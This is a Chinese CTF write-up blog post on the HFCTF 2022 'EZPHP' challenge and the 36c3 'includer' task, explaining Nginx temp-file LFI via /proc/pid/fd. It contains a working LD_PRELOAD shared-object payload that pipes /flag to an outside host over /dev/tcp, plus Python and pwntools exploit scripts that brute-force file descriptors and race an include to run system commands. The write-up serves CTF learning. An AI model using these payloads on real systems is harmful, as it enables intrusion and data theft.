HFCTF 2022-EZPHP

HFCTF 2022-EZPHP

906a00fd279379f55c2c7411252b624d

​ 这次的虎符虽说让我坐牢了两天,但是亦可说是收获满满, 这次比赛Web的题目共有4道, 但是我觉得EZPHP还是值得单独记录的, 因为这个题目可以说是一个让我受益匪浅的组合拳的类型, 也给我带出了两个新的LFI方法 和一些Nginx的知识:

  • Nginx-fastcgi缓存文件
  • 长链接窗口期绕过文件检测

在这个题目中主要用到的就是nginx临时文件+LD_PRELOAD加载恶意so这两个知识点, 长链接窗口期绕过文件检测是我在学习nginx临时文件的意外收获, 但是也还是一起放上来吧


题目源码

index.php

<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>

​ 其实这就是一句话, 对环境变量进行赋值, 期初第一眼看到的时候就想到了一个月前p神发出的我是如何利用环境变量注入执行任意命令, 但是因为题目环境是Debian, 所以最初我就一直围绕bash和dash尝试能不能找到新的变量(没多久就被劝退了)。虽然直到最后也还是没有把这个题目解出来, 但是坐两天的牢也算是有所收获了img

​ 实际上这个题目可以说和p神文章中的环境还是区别很大的, 出题人实际上也并不是想让我们使用命令注入的方法, 这个题目主要用到了一个是Nginx的临时文件LD_PRELOAD加载so:

  • Nginx的临时文件:

    当 Nginx 接收来自 FastCGI 的响应时,若大小超过限定值(大概32Kb)不适合以内存的形式来存储的时候,一部分就会以临时文件的方式保存到磁盘上。在 /var/lib/nginx/fastcgi 下产生临时文件。

  • LD_PRELOAD加载so:

    这个可以说是经典问题就不赘述了, 直接给个exp

#include <stdlib.h>
#include <string.h>
__attribute__ ((constructor)) void call ()
{
	unsetenv("LD_PRELOAD");
	char str[65536];
	system("bash -c 'cat /flag' > /dev/tcp/pvs/port");
	system("cat /flag > /var/www/html/flag");
}
gcc -shared -fPIC /test/hack.c -o hack.so -ldl
export LD_PRELOAD=/test/hack.so

妙手生花: Nginx临时文件在/proc下

​ 上面提到当Nginx的fastcgui接收到的响应大小超过32Kb就会在/var/lib/nginx/fastcgi产生一个存放相应内容的临时文件, 但其实这个过程可以说是稍纵即逝,文件创建到删除的窗口期根本不足以让我们及时的就行文件加载, 这时候就用到了记录进程信息的文件夹/proc/pid/fd。 在Linux上,在一个进程中打开的文件描述符集可以在/proc/PID/fd/路径下访问,其中PID是进程标识符。

​ 在这里面存放有进程打开的全部资源文件的软链接, 最重要的是即使临时文件被删除了也还是一样可以被正常读取(至于原因我现在还是深表疑惑),

所以我们就可以将临时文件上传控制为我们的恶意so文件, 然后设置payload为

?env=LD_PRELOAD=/proc/pid/fd/file_id

之后执行的echo命令会加载我们so文件劫持的函数加载恶意代码从而获取flag

总结起来整个过程就是:

  1. 让后端 php 请求一个过大的文件
  2. Fastcgi 返回响应包过大,导致 Nginx 需要产生临时文件进行缓存
  3. 虽然 Nginx 删除了/var/lib/nginx/fastcgi下的临时文件,但是在 /proc/pid/fd/ 下我们可以找到被删除的文件
  4. 遍历 pid 以及 fd ,修改LD_PRELOAD完成 LFI
import os
import sys, threading, requests,time

URL = f'http://h0cksr.xyz:27780/index.php'
# 这个进程pid如果是在本地测试的话可以直接修改, 做题时直接慢慢爆破
nginx_workers = [ 266, 268, 32831, 33666, 9]
done = False
flag=""

# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
    print('[+] starting uploader')
    while not done:
        requests.get(URL, data=open("exp.so", "rb").read() + (16 * 1024 * 'A').encode())
    print(flag)

def bruter(pid):
    global done
    while not done:
        time.sleep(3)
        print(f'[+] brute loop restarted: {pid}')
        for fd in range(4, 32):
            f = f'/proc/{pid}/fd/{fd}'
            print(f)
            try:
                r = requests.get(URL, params={
                    'env': 'LD_PRELOAD=' + f,
                })
                print(r.text)
            except Exception:
                pass

def get_flag():
    global done,flag
    while not done:
        r=requests.get(URL.replace("index.php","flag"))
        print(r.url)
        if r.status_code==200:
            if "{" in r.text:
                open("./get_flag","a").write(r.text)
                done=True
                flag=r.text
    while 1 :
        print(flag)

# 获取flag写入end_flag
t = threading.Thread(target=get_flag)
t.start()
# 建立16个持续上传文件的线程
for _ in range(16):
    t = threading.Thread(target=uploader)
    t.start()
# 为每个pid建立一个文件包含的线程
for pid in nginx_workers:
    a = threading.Thread(target=bruter, args=(pid,))
    a.start()

怎么找PID?

​ 看了上面的脚本之后可能有人会说这么多pid要怎么找, 其实我也想不到很好地方法, 那只能说是修改脚本多建立一些线程(但也不能太多, 要不电脑直接升天), 让包含文件的进程阶梯式的扫描完每组的pid(例如20个线程则每组pid数为20,先扫了1-20然后扫21-40一次递增)。因为一般在fd中的文件号不会超过70, 每组我们需要跑1400(20*70)次, 这个对于计算机并没有太大压力, 。

​ 此外, 对于题目环境的docker来说, 打开的服务并不会很多, 所以pid也不会很大, 一般情况下例如我建立的docker中处理请求的Nginx Workerpid一直是二百多, 所以即使是从0开始逐渐遍历那也只需要跑300*70*20次, 这段时间的等待对我们来说还是可以接受的。

​ 如果想要直接进入自己的docker找到处理请求的Nginx Worker, 就需要找到/proc/pid/cmdline文件内容为 nginx: worker process的进程, 一个Nginx服务默认只有一个Nginx Worker所以也就不难找了(我的docker就是只有一个)。


关于Nginx的一点点深入

Nginx Worker

说道这里那就再拓展一点吧, 棉的以后忘了hh,

一个Nginx服务服务只有一个Master进程, 但 Master 进程不处理请求, 真正负责处理请求的进程是Nginx Worker, 默认以nobody的用户身份运行。“master"进程其实是负责管理"worker"进程的,除了管理” worker"进程,master"进程还负责读取配置文件、判断配置文件语法的工作,“master进程"也叫"主进程”。想要可以通过修改配置文件的worker_processes 1;改变NginxWorker的数量。为了让每个worker进程都有一个cpu可以使用,尽量避免了多个worker进程抢占同一个cpu, 所以通常Nginx Worker不会大于服务器中cpu的核心数量此, 外为了避免cpu在切换进程时产生性能损耗,我们也可以将worker进程与cpu核心进行"绑定", 当worker进程与cpu核心绑定以后,worker进程可以更好的专注的使用某个cpu核心上的缓存,从而减少因为cpu切换不同worker进程而带来的缓存失效

关于/var/lib/nginx/fastcgi的探索过程:

来看一下Nginx文档的一些信息:

Nginx 文档 fastcgi_buffering 部分

Syntax: 	fastcgi_buffering on \| off;
Default: 	fastcgi_buffering on;
Context: 	http, server, location

This directive appeared in version 1.5.6.

Enables or disables buffering of responses from the FastCGI server.

When buffering is enabled, nginx receives a response from the FastCGI server as soon as possible, saving it into the buffers set by the fastcgi_buffer_size and fastcgi_buffers directives. If the whole response does not fit into memory, a part of it can be saved to a temporary file on the disk. Writing to temporary files is controlled by the fastcgi_max_temp_file_size and fastcgi_temp_file_write_size directives.

When buffering is disabled, the response is passed to a client synchronously, immediately as it is received. nginx will not try to read the whole response from the FastCGI server. The maximum size of the data that nginx can receive from the server at a time is set by the fastcgi_buffer_size directive.

Buffering can also be enabled or disabled by passing “yes” or “no” in the “X-Accel-Buffering” response header field. This capability can be disabled using the fastcgi_ignore_headers directive.

​ 当 Nginx 接收来自 FastCGI 的响应时,若大小超过限定值不适合以内存的形式来存储的时候,一部分就会以临时文件的方式保存到磁盘上的信息就是从文档的这里得到的答案。并且临时文件格式是: /var/lib/nginx/fastcgi/x/y/0000000yx

其实也还有让Nginx不删除/var/lib/nginx/fastcgi下的临时文件的方法, 下面是引用文章的Nginx源码审计过程:

Nginx 关于临时文件的地方并不多,不难找到 ngx_open_tempfile这个函数:

ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
    ngx_fd_t  fd;

    fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
              access ? access : 0600);

    if (fd != -1 && !persistent) {
        (void) unlink((const char *) name);
    }

    return fd;
}

我们从中可以知道如果要让 Nginx 保存临时文件,得满足一个 if 条件,然而我们仔细看该条件,由于是条件,我们可以知道得同时满足才能进入该 if 条件,我们分析一下该 if 条件

  1. fd != -1 : fdopen 函数的返回值,我们可以知道只有当 open 函数打开失败的时候才会返回 -1 ,也就是该临时文件不存在的情况下,换句话说就是只要临时文件被 open 函数成功打开,这个条件就是成立的

  2. persistent: 该条件从函数上下文我们看不出来有什么关系,需要更进一步分析,通过分析代码,我们可以发现该变量主要在以下三个地方可能被赋值为 1 :

如果想要破坏这个if条件找到三个地方:

  1. 一个地方是 src/http/ngx_http_request_body.c#456 处:tf->persistent = r->request_body_in_persistent_file;

  2. 另一个地方是 src/http/ngx_http_upstream.c#4087 处: tf->persistent = 1;

  3. 还有一个地方是 src/http/ngx_http_upstream.c#3144 处: p->temp_file->persistent = 1;

第一种情况: 需要开启 client_body_in_file_only 选项, 在该选项开启后,Nginx 对于请求的 body 内容会以临时文件的形式存储起来,但是默认为 off ,题目并没有开启,所以这里不用考虑。

第二种情况: 需要开启配置fastcgi_store默认为关闭状态,当我们将这个选项开启为 on 的时候,可以发现我们产生的临时文件最后才消失。因为这个地方需要手动开启,所以在默认情况下我们也很难利用。

第三种情况: 是与 proxy_cache 配置有关的,查阅文档知道 proxy_cache 配置选项默认为 off ,所以这里我们也不考虑。

/proc的fd文件中虽然源文件被删除, 但是还是可以从这里读出文件内容就是我们能动态加载文件成功的原因了

fastcgi外的临时文件

实际上除了/var/lib/nginx/fastcgi会新建临时文件暂存请求数据外, 在/var/lib/nginx/body下也建立存放请求数据的有临时文件(当请求体足够大的时候,32Kb肯定是足够的), 文件的格式为/client_body_temp/xxxxxxxxxx(前面的为0,后面为数字例如0000000001)。

但是这个临时文件保存是否会执行也是有一定的限制的, 这个限制就是上文要保留临时文件的第一种情况:client_body_in_file_only 配置开启, 这个配置的说明为Determines whether nginx should save the entire client request body into a file(决定nginx是否应该将整个客户端请求正文保存到一个文件中), 但很可惜在默认下它是Off。

虽然这个文件也很快就会被删除, 但是在/proc/pid/fd下也还是会有链接指向这个文件。

如果打开了配置设置为On的话那我们题目中所加载的so文件是fastcgi文件夹下的还是body文件夹下的我们也不得而知了哈哈哈。


趁热打铁

如果觉得对这道题的知识掌握了的话可以看一下下面这道题img

<?php 
($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');

​ 这个题其实就是EZPHP的原型之一, 但EZPHP使用了命令注入的外壳来加载so文件。 使用Nginx临时文件配合/procLFI方法早在去年的HXPCTF 就已经有了(更早的就不知道了), 但是实际上这道题更加容易解决, 为什么这么说呢 ?原因如下:

  1. 可以通过read参数读取/proc/pid/cmdline得到Nginx Worker的具体pid
  2. 只要写入php文件即可包含文件执行系统命令带出flag

但是还和EZPHP有区别的一点就是绕过include_once()函数。 include 函数,在进行包含的时候,会使用 php_sys_lstat 函数判断路径,绕过方法可以直接参考php源码分析 require_once 绕过不能重复包含文件的限制


长链接窗口期绕过文件检测

这个题目是我在看上面题目的题解时文章提到的36c3 Web , 看了之后感觉受益匪浅, 又学到了一个关于源码审计和文件传输问题产生的漏洞的, 连续看了两篇都涉及到中间件源码分析的文章, 我只能说能调源码的师傅们都太强了

这个首先来看一个题目吧:

<?php
declare(strict_types=1);

$rand_dir = 'files/'.bin2hex(random_bytes(32));
mkdir($rand_dir) || die('mkdir');
putenv('TMPDIR='.__DIR__.'/'.$rand_dir) || die('putenv');
echo 'Hello '.$_POST['name'].' your sandbox: '.$rand_dir."\n";

try {
    if (stripos(file_get_contents($_POST['file']), '<?') === false) {
        include_once($_POST['file']);
    }
}
finally {
    system('rm -rf '.escapeshellarg($rand_dir));
}

注: 从给我们的配置文件可知开启了列目录并且我们可以遍历到上层文件夹

location /.well-known {
  autoindex on;
  alias /var/www/html/well-known/;
}

这么说呢,,, 在我看到这个题目之前刚好去看了一个源于一次“SSRF-->RCE”的艰难利用的oneline php代码的讨论

file_put_contents($filename,”<?php exit();”.$content);

不过可惜并不能在这里使用, 感兴趣的可以看关于file_put_contents的一些小测试谈一谈php://filter的妙用, 都是使用一些过滤器的绕过

因为还没去做过题目所以还是直接贴一下文章中的一些关键步骤吧 :

  1. 我们可以使用compress.zip://流进行上传任意文件并保持 HTTP 长链接竞争保存我们的临时文件

  2. 使用pwntools 起一个服务用来发送一个大文件

  3. 传输恶意代码数据, 然后会被保存在一个临时文件

  4. 注意延时让题目环境有足够的时间去包含文件或使用compress.zlib://ftp://形式,控制 FTP 速度

  5. 利用超长的 name 溢出 output buffer 得到 sandbox 路径

  6. 利用 Nginx 配置错误,通过 .well-known../files/sandbox/来获取我们 tmp 文件的文件名

  7. 发送另一个请求包含我们的 tmp 文件,此时并没有 PHP 代码

  8. 绕过 WAF 判断后,发送 PHP 代码段,包含我们的 PHP 代码拿到 Flag

整个题目的关键点主要是以下几点(来自 @wupco):

  1. 需要利用大文件或ftp速度限制让连接保持
  2. 传入name过大 overflow output buffer,在保持连接的情况下获取沙箱路径
  3. tmp文件需要在两种文件直接疯狂切换,使得第一次file_get_contents获取的内容不带有<?,include的时候是正常php代码,需要卡时间点,所以要多跑几次才行
  4. .well-known../files/是nginx配置漏洞,就不多说了,用来列生成的tmp文件

由于第二个极短的时间窗,我们需要比较准确地调控延迟时间,之前没调控好时间以及文件大小,挂一晚上脚本都没有 hit 中一次,修改了一下延迟时间以及服务器响应的文件的大小,成功率得到了很大的提高,基本每次都可以 getflag。

直接贴一下获取wp的脚本:

from pwn import *
import requests
import re
import threading
import time

#  192.168.34.1 是本地题目地址,192.168.151.132 是 client 的地址。

for gg in range(100):

    r = remote("192.168.34.1", 8004)
    l = listen(8080)
    
    data = '''name={}&file=compress.zlib://http://192.168.151.132:8080'''.format("a"*8050)

    payload = '''POST / HTTP/1.1
Host: 192.168.34.1:8004
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Content-Length: {}
Content-Type: application/x-www-form-urlencoded
Connection: close
Cookie: PHPSESSID=asdasdasd
Upgrade-Insecure-Requests: 1
{}'''.format(len(data), data).replace("\n","\r\n")


    r.send(payload)
    try:
        r.recvuntil('your sandbox: ')
    except EOFError:
        print("[ERROR]: EOFERROR")
        # l.close()
        r.close()
        continue
    # dirname = r.recv(70)
    dirname = r.recvuntil('\n', drop=True) + '/'

    print("[DEBUG]:" + dirname)

    # send trash
    c = l.wait_for_connection()
    resp = '''HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 05:22:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 534
Content-Type: text/html; charset=UTF-8
{}'''.format('A'* 5000000).replace("\n","\r\n")
    c.send(resp)


    # get filename
    r2 = requests.get("http://192.168.34.1:8004/.well-known../"+ dirname + "/")
    try:
        tmpname = "php" + re.findall(">php(.*)<\/a",r2.text)[0]
        print("[DEBUG]:" + tmpname)
    except IndexError:
        l.close()
        r.close()
        print("[ERROR]: IndexErorr")
        continue
    def job():
        time.sleep(0.01)
        phpcode = 'wtf<?php system("/readflag");?>';
        c.send(phpcode)

    t = threading.Thread(target = job)
    t.start()

    # file_get_contents and include tmp file
    exp_file = dirname + "/" + tmpname
    print("[DEBUG]:"+exp_file)
    r3 = requests.post("http://192.168.34.1:8004/", data={'file':exp_file})
    print(r3.status_code,r3.text)
    if "wtf" in r3.text:
        break

    t.join()
    r.close()
    l.close()
    #r.interactive()

关于为什么compress.zip://流可以进行上传任意文件为什么获取的文件会临时保存这两个问题想要了解的话可以看文章中的源码分析和测试部分, 有详细跟踪和解释

我只觉得使用sleep()函数让交互时间更长这个方法太帅了hhhh

最后列出几个调试的命令 | 工具:
fswatch
# 监控系统文件目录变化
chattr +a  
# 禁止文件夹删除文件,可以用于禁止临时文件删除, 这确实是个观察临时文件的好方法
strace  -f -t -e trace=file -p <pid>
# 监控输出系统pid进程执行文件操作的调用栈

参考文章:

https://tttang.com/archive/1384/#toc_fastcgi_store

https://blog.csdn.net/qq_20737293/article/details/123643425

https://blog.zeddyu.info/2020/01/08/36c3-web/#includer

posted @ 2022-04-25 12:35  h0cksr  阅读(1327)  评论(0编辑  收藏  举报